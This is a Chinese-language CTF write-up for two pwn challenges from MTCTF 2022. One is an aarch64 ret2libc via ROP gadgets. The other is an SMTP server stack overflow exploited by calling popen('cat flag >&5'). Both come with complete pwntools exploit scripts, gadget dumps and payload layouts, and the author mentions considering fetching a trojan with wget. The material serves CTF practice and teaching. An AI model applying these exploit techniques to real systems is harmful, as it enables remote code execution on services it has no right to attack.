美团MTCTF 2022 smtp、ret2libc_aarch64 pwn解

美团MTCTF 2022 smtp、ret2libc_aarch64 pwn解

美团MTCTF 2022 ret2libc_aarch64 pwn解

这是一道aarch64的pwn,正常的ret2libc,考察了aarch64下的指令运用
笔者用的m1所以不需要使用qemu模拟
在这里插入图片描述
1功能可以直接leak出libc地址
2功能是一个栈溢出漏洞
在这里插入图片描述
偏移128 + 8就可以覆盖到ret
需要执行system(“/bin/sh”);
第一点,需要先控制x0(一参)
armv8里有一个指令可以对其进行赋值:ldr,先看一下pwn文件的gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  mtctf_2022 cat g | grep 'ldr x0'
0x0000000000400990 : add x0, sp, #0x18 ; movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004008a4 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400740 : adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004008a0 : bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400738 : bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x000000000040073c : bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004009a0 : bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004009a4 : ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x00000000004008a8 : ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400744 : ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x00000000004008ac : ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400998 : mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x000000000040072c : movk x4, #0, lsl #32 ; movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x0000000000400730 : movk x4, #0x40, lsl #16 ; movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x0000000000400734 : movk x4, #0xa38 ; bl #0x400680 ; bl #0x4006a0 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfe0] ; cbz x0, #0x400750 ; b #0x400690 ; ret
0x000000000040099c : movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret
0x000000000040089c : movz x1, #0 ; bl #0x400660 ; adrp x0, #0x410000 ; ldr x0, [x0, #0xfc8] ; ldr x0, [x0] ; movz x1, #0 ; bl #0x400660 ; movz w0, #0 ; ldp x29, x30, [sp], #0x10 ; ret
0x0000000000400994 : movz x2, #0x8 ; mov x1, x0 ; movz w0, #0 ; bl #0x4006c0 ; ldr x0, [sp, #0x18] ; bl #0x4006b0 ; nop ; ldp x29, x30, [sp], #0x20 ; ret

之所以不找mov是因为mov x0在pwn文件里是没有的,利用还是挺难的, 都有跳转指令,因为前面泄露出了libc地址,可以试着在libc里面寻找gadgets

1
2
3
4
5
6
7
8
0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000436dc : ldp x25, x26, [sp, #0x40] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x00000000000b6514 : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x70] ; ldp x29, x30, [sp], #0x1a0 ; ret
0x000000000004353c : ldp x27, x28, [sp, #0x50] ; ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret
0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
0x0000000000043540 : ldr x0, [sp, #0x80] ; ldp x29, x30, [sp], #0xb0 ; ret

再仔细筛选出上面的gadgets,这里用最简单的一个gadget来解,0x0000000000063e5c
ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
ldr x0, [sp, #0x18]这个指令会将sp + 0x18这个地址内容给到x0,我们只需要在sp + 0x18这里填入bin_sh的地址即可。调试一下看一下需要放到哪个位置

1
2
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)

在这里插入图片描述
在这里插入图片描述
粉色的是gadgets的地址,红色的最后会给到x0,所以我们在这里填入bin_sh地址
到了ldp x29, x30, [sp], #0x20这里,这条指令的含义是sp存储的地址放入x29,sp + 8放入x30,最后sp += 0x20,X30为程序链接寄存器,保存子程序结束后需要执行的下一条指令,所以我们需要将sp + 8这里填入system_addr
在这里插入图片描述
在这里插入图片描述
所以最后的payload可以为

1
2
3
4
5
6
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)
p1 += p64(0) * 3
p1 += p64(system_addr)
p1 += p64(0)
p1 += p64(bin_sh)

在这里插入图片描述
在这里插入图片描述
成功调用system,同理上面还有gadgets可以使用
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(arch='aarch64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

puts_got = elf.got['puts']
read_got = elf.got['read']
r.sendlineafter('>', '1')
r.sendafter('sensible>>', p64(puts_got))
r.recvuntil('\n')
puts_addr = u64(r.recvuntil('\n')[-8:6].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))

libc = ELF('./libc.so.6')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))

bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
li('bin_sh = ' + hex(bin_sh))
gadgets = 0x0000000000063e5c + libc_base
#0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
p1 = b'a' * (128 + 8)
p1 += p64(gadgets)
p1 += p64(0) * 3
p1 += p64(system_addr)
p1 += p64(0)
p1 += p64(bin_sh)
r.sendlineafter('>', '2')
r.sendlineafter('sensible>>', p1)

r.interactive()

美团MTCTF 2022 smtp pwn解

这是一道协议题,SMTP是一种提供可靠且有效的电子邮件传输的协议。
下面是笔者对此题的详细逆向
在这里插入图片描述
main函数中启用了listerner函数并挂载到了9999端口上,启动pwn文件直接nc 127.0.0.1 9999看一下是否能成功连接上去
在这里插入图片描述
在这里插入图片描述
server端显示了从127.0.0.1这里的连接并开启了一个session worker,并发送给client端220 SMTP tsmtp这条信息,跟进listerner函数
在这里插入图片描述
创建了一个创建了一个newthread线程,具体的线程实现是session_worker,arg是session_worker的参数,继续跟进session_worker
在这里插入图片描述
当server检测到连接成功时,会发送220 SMTP tsmtp给client端,和上面运行的一模一样
在这里插入图片描述
这一部分就是等待client发送数据到server
在这里插入图片描述
上面说到会发送数据到server,如何发送?parse_request里面给出了发送格式,跟进即可
在这里插入图片描述
get_session_command这个函数的名字看起来就像是处理请求格式的,继续跟进
在这里插入图片描述
s1是server接收client的数据

检测到HELO会返回0
检测到MAIL FROM会返回1
检测到RCPT TO:会返回2
检测到DATA,会返回3
检测到.\r\n会返回4
检测到QUIT会返回5

ptr其实就是这些返回的数字,对应到下面的switch结构
在这里插入图片描述
检测到哪一个就会到哪一个分支中进行处理,现在测试一下看一下分析的是否正确
在这里插入图片描述
在这里插入图片描述
大概率漏洞都发生在这些处理函数中,一个一个分析吧
在这里插入图片描述
首先是HELO的处理,这里会send250 Ok\n,很正常没有什么漏洞发生
在这里插入图片描述
第二个是mail from,也会send 250 Ok\n,很正常没什么问题
在这里插入图片描述
第三个是rcpt to,成功会send 250 Ok\n,也很正常没什么问题
在这里插入图片描述
第四个是data处理,成功会send 354 End data with <CR><LF>.<CR><LF>\n,提示了使用\r\n.\r\n来结束
在这里插入图片描述
第5个是data结束后的处理,发现这里有个session_submit函数,跟进
在这里插入图片描述
有一个send_worker处理
在这里插入图片描述
会将mail from的信息存在入from中,如果send to的长度大于0xff,会将sendto的数据赋值给s,需要注意的是这个数据我们可控,没有进行大小限制,而s是有大小限制的,所以直接strcpy会造成栈溢出漏洞,成功发现漏洞
我们测试一下看一下能否成功crash

1
2
3
4
5
6
7
HELLO()
mailfrom(b'aaaaa')

p1 = b'a' * 0x200
mailto(p1)
data()
eof()

在这里插入图片描述
可以看到server端成功crash,再看一下保护开启情况,只有一个nx
那么如何进行漏洞利用呢?
既然,mail from在bss段上,并且可控,send to也可控,那是不是就可以将shellcode放入bss段上,然后控制send to打返回地址到bss段上去执行shellcode
直接尝试一下,但是出了一个问题,p1 = b'a' * (0x10c + 4) + b'bbbb',返回地址虽然被覆盖了但是根本跑不到
在这里插入图片描述
在这里插入图片描述
找到原因了,eax这里的地址是无意义的从而导致了sigsegv,从上面一条指令看到ebp - 0xc,这里很明显就是v3,所以我们需要将v3控制成一个可以成功访问的地址
有很多无影响的地址可以用,这里笔者挑了一个0x8049024p1 = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + b'bbbb'再调试一下看一下是否能成功劫持返回地址
在这里插入图片描述
成功劫持,在bss上放入shellcode,跳转执行
在这里插入图片描述
笔者到了这一步的时候觉得很无语,直接sigsegv了,在高人的指点下发现了popen函数
popen()可以执行shell命令,并读取此命令的返回值;

1
2
3
4
5
6
#include <stdio.h>

int main(int argc, char **argv){
popen("sh", "r");
return 0;
}

笔者写了一个程序测试了一下,发现直接执行sh命令没有用,笔者用了题目给的docker看了一下,发现bin里只有一点东西
在这里插入图片描述
接下来就是如何把flag给带出来,因为直接cat的话是没有回显的,笔者原本想着用wget下载一个木马,然后连上去(哈哈),但是感觉太麻烦了,所以问了些师傅有什么东西可以将cat的东西直接输出到屏幕上,>&1,可以把文件的东西给带出来。

1
2
3
4
5
6
#include <stdio.h>

int main(int argc, char **argv){
popen("cat flag>&2", "r");
return 0;
}

笔者试了>&1, >&2发现的确可以回显,打远程的时候>&5可以回显,exp如下
需要注意的是要多打几次,因为有时候edx是无意义的会造成sigsegv,另外r这里需要\x00来截断,不然popen的二参可能不是单纯的r。做这题头大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('127.0.0.1', 12000)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def HELLO():
r.sendline('HELO')

def mailfrom(content):
r.sendline(b'MAIL FROM:' + content)

def mailto(content):
r.sendline(b'RCPT TO:' + content)

def data():
r.sendline(b'DATA')

def eof():
r.sendline(b'.\r\n')

popen_plt = elf.plt['popen']
bss_addr = 0x804d140
HELLO()

shellcode = b'cat flag >&5'
mailfrom(shellcode)

read = elf.search(b'r\x00').__next__()
p1 = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + p32(popen_plt) + p32(0xdeadbeef) + p32(bss_addr) + p32(read)
mailto(p1)
data()
eof()

r.interactive()

在这里插入图片描述